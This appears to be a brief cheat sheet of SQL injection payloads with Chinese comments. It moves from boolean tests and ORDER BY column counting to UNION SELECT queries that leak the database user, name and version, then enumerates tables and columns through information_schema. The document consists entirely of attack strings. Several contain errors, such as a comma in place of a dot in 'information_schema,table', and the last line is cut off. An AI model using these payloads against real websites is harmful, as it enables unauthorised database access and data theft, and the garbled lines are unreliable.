select * from table_name where id = ’ 1’ and 1=1– ’
在盲注里至少要有一个正确的结果;否则不显示;
1'order by 5--+
1'order by 3--+
1'union select 1,2--+
1'union select null,CONCAT_WS(CHAR(32,58.32),user(),database(),version())--+
1'and 1=0 union select null,table_name from information_schema,table#
1'and 1=0 union select null,table_name from information_schema,columns where table_name='user'#
猜列明: 1'and column not null</